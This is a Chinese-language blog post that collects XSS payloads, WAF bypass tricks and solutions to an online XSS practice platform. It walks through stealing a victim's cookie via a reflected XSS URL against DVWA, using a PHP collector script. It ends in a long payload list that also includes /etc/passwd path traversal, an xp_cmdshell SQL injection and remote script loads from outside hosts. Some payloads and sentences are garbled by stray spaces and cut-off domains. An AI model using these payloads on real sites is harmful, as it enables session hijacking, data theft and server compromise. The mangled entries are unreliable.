分享

XSS 跨站脚本(练习平台-waf绕过-payload大全)

 python_lover 2022-10-07 发布于北京

常用测试语句:

<script language='javascript'>alert('test!');</script>
<script>alert('test')</script>
<svg/onload=alert(1)>
"><svg/onload=alert(1)//
onfocus=javascript:alert(2)
" onmouseover="prompt('xss')" bad="

<script src=http:///xss.js></script> #引用外部的 xss

<script> alert("hack")</script> #弹 出 hack

<script>alert(document.cookie)</script> #弹 出 cookie

<img>标签:

<img src=1 on er ror=alert("hack")>

<img src=1 onerror=alert(/hack/)>

<img src =1 onerror=alert(document.cookie)> #弹 出 cooki e

<img src=1 on er ror=alert(123)> 注 :对 于 数 字 ,可 以 不 用 引号

<img src ="javascri pt:alert("XSS");" >

<img dyn src="javas cript:alert('XSS' )" >

<img low src="javas cript:alert('XSS' )" >

<body>标 签 :可 以 使 用 onload 属 性 或 其 他 更 加 模 糊 的 属 性( 如 属 性 )在 标 记内部传递 XSS 有 效 内 容 background

<body onload=aler t( "XSS")>

<body background="javascript:alert("XSS")">

<iframe>标签:该 <iframe>标 签 允 许 另 一 个 HTML 网页的嵌入到父页面。

IFrame 可以包含 Jav aScript, 但 是 , 请 注 意 , 由 于 浏 览 器 的 内 容 安 全 策 略

( CSP),iFrame 中 的 J avaScript 无 法 访 问 父 页 面 的 DOM。然 而 ,IF rame 仍 然

是非常有效的解除网络钓鱼攻击的手段。

<iframe src=” htt p: //evil.com/xss.ht ml” >

<input>标 签 :在 某 些 浏 览 器 中 ,如 果 标 记 的 type 属 性 <input>设 置 为 image,

则可以对其进行操作以嵌入脚本

"javascript:confirm(1);"

<input type="image" src="javascript:alert('XSS');">

<link>标签: <link>标签,这是经常被用来连接外部的样式表可以包含的脚本

<link rel="stylesheet" href="javascript:alert('XSS');">

<table>标 签 : 可 以 利 用 和 标 签 的 backgr oun d 属 性 来 引 用 脚 本 而 不 是 图 像

<table background="javascript:alert( 'X SS')">

<td background="javascript:alert('XSS')">

<div>标签:该 <div>标签,类似于 <table>和 <td>标 签 也 可 以 指 定 一 个 背 景 ,因此嵌入的脚本。

<div style="background-image: url(javascript:alert('XSS'))">

<div style="width: expression(alert('XSS'));">

<object>标签:该 < ob ject>标 签 可 用 于 从 外 部 站 点 脚 本 包 含

<object type="text/x-scriptlet" data="http:///xss.html">

 

弹窗测试XSS js中,alert() 警告弹窗,confirm() 确认弹窗  prompt() 输入弹窗

 

 

XSS 反射型攻击思路(前提服务器有XSS漏洞):

  1. 用户登录服务器中
  2. 攻击者诱骗用户点击 有攻击代码的url
  3. 用户点击后访问服务器
  4. 服务器响应代码,在用户浏览器偷偷中执行攻击脚本,发送关键信息例如cookie给攻击这服务器
  5. 攻击者利用收到的信息伪造用户访问服务器

 

例子:

第一步:

攻击者本地服务器代码

Http://127.0.0.1/cookie.php  //攻击者的IP地址

<?php

$cookie = $_GET['cookie’];      //接收GET中的cookie参数

$fp=fopen('cookie.txt','w');     //创建cookie.txt文件 w表示写入,如果是a 表示追加

fwrite($fp,$cookie);

fclose($fp);

?>

第二步:攻击Js构造

<script>

Document.location=’http://127.0.0.1/cookie.php?cookie=’+document.cookie;

</script>   //把当地的cookie发送到http://127.0.0.1/cookie.php

第三步:构建攻击url

http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

第四步:对参数进行url编码

 

 

 

 

http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E%20

第四步:诱导用户点击,回到攻击者cookie.txt文件中,已经记录了用户的信息

最后就是利用用户的cookie进行劫持会话

 

xss练习平台:http://xss./

第一关:利用前端过滤,浏览器关闭js语句即可绕过

 

第二关.闭合法 闭合前面的语句

“><a /href “javascript:confirm(1)”>

"><sCript>confirm(1)</Script>

"><Script src=’https://www.baidu.com’>

confirm(1)

" onclick="alert(1)   “ 闭合前面的双引号,鼠标点击事件

" onfocus="confirm(1)

 

xss练习第三关:

过滤了以下字符:

 

 

 

 

第四关:过滤掉了<>

 "onmouseover="javascript:alert(1)   //鼠标移动事件

" onfocus="alert(/xss/)       //点击事件

 

第五关:过滤了<sricpt 和on

1"<a>1<a href=' javascript:alert(1)'/>"

1"<a>1<a href=' javascript:confirm(1)'/>"

confirm(1)

跳出input标签

"><a href="javascript:alert(/xss/)">xss</a>

 

第六关 过滤了很多js语句,但没考虑大小写

"Onmouseover="javascript:alert(1)

进行大小写绕过

在input标签中触发XSS

payload:" ONmouseover="alert(/xss/)

跳出input标签触发XSS

payload:"><sCript>alert(/xss/)</sCript>

 

第七关:只过一次  利用两次  

scriptscript=script

"Oonnmouseover="javascript:alert(1)

 

第八关

很多都转义了 “ on script  等

用编码绕过,采用html实体编码  t  ---> t

 

javascript:alert(/xss/)

第九关:加个http://

 

第十关:

这道题有俩个输出的地方,第一个被实体化过滤,第二个是隐藏表单的"t_sort"参数

即'$str33',过滤了尖括号,那么就在input标签中触发xss即可,可以用onmouseover或者

是onclick,需要将隐藏表单显示出来触发

payload为:url后加 &t_sort=xss" onmouseover=alert(/xss/) type="text"

payload为:url后加 &t_sort=xss" onclick=alert(/xss/) type="text

 

思路:

查看源代码,编辑,看看是不是已经实体化转换了,单双引号

如果是 ,则用用不要<>和引号类的过滤看看

waf绕过:

参考:https://blog.csdn.net/spang_33/article/details/80930046

特殊符号绕过  # 乱打

1.对方开启了httponly属性

如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,有效防止xss攻击

表单劫持:劫持用户浏览器提交的的表单,或者保存在浏览器的表单

 

payload 大全:

 1 '><script>alert(document.cookie)</script>
 2  ='><script>alert(document.cookie)</script>
 3  <script>alert(document.cookie)</script>
 4  <script>alert(vulnerable)</script>
 5  %3Cscript%3Ealert('XSS')%3C/script%3E
 6  <script>alert('XSS')</script>
 7  <img src="javascript:alert('XSS')">
 8  %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
 9  %22%3cscript%3ealert(%22xss%22)%3c/script%3e
10  %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
11  %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
12  %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
13  %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
14  %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
15  %3f.jsp
16  %3f.jsp
17  <script>alert('Vulnerable');</script>
18  <script>alert('Vulnerable')</script>
19  ?sql_debug=1
20  a%5c.aspx
21  a.jsp/<script>alert('Vulnerable')</script>
22  a/
23  a?<script>alert('Vulnerable')</script>
24  "><script>alert('Vulnerable')</script>
25  ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
26  %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
27  %3Cscript%3Ealert(document. domain);%3C/script%3E&
28  %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
29  <IMG src="javascript:alert('XSS');">
30  <IMG src=javascript:alert('XSS')>
31  <IMG src=JaVaScRiPt:alert('XSS')>
32  <IMG src=JaVaScRiPt:alert("XSS")>
33  <IMG src=javascript:alert('XSS')>
34  <IMG src=javascript:alert('XSS')>
35  <IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
36  <IMG src="jav ascript:alert('XSS');">
37  <IMG src="jav ascript:alert('XSS');">
38  <IMG src="jav ascript:alert('XSS');">
39  "<IMG src=java\0script:alert(\"XSS\")>";' > out
40  <IMG src=" javascript:alert('XSS');">
41  <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
42  <BODY BACKGROUND="javascript:alert('XSS')">
43  <BODY ONLOAD=alert('XSS')>
44  <IMG DYNSRC="javascript:alert('XSS')">
45  <IMG LOWSRC="javascript:alert('XSS')">
46  <BGSOUND src="javascript:alert('XSS');">
47  <br size="&{alert('XSS')}">
48  <LAYER src="http://xss.ha./a.js"></layer>
49  <LINK REL="stylesheet" href="javascript:alert('XSS');">
50  <IMG src='vbscript:msgbox("XSS")'>
51  <IMG src="mocha:[code]">
52  <IMG src="livescript:[code]">
53  <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
54  <IFRAME src=javascript:alert('XSS')></IFRAME>
55  <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
56  <TABLE BACKGROUND="javascript:alert('XSS')">
57  <DIV STYLE="background-image: url(javascript:alert('XSS'))">
58  <DIV STYLE="behaviour: url('http://www./exploit.html');">
59  <DIV STYLE="width: expression(alert('XSS'));">
60  <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
61  <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
62  <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
63  <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
64  <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
65  <BASE href="javascript:alert('XSS');//">
66  getURL("javascript:alert('XSS')")
67  a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
68  <XML src="javascript:alert('XSS');">
69  "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
70  <SCRIPT src="http://xss.ha./xss.jpg"></SCRIPT>
71  <IMG src="javascript:alert('XSS')"
72  <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha./a.js></SCRIPT>'"-->
73  <IMG src="http://www./somecommand.php?somevariables=maliciouscode">
74  <SCRIPT a=">" src="http://xss.ha./a.js"></SCRIPT>
75  <SCRIPT =">" src="http://xss.ha./a.js"></SCRIPT>
76  <SCRIPT a=">" '' src="http://xss.ha./a.js"></SCRIPT>
77  <SCRIPT "a='>'" src="http://xss.ha./a.js"></SCRIPT>
78  <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha./a.js"></SCRIPT>

 

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约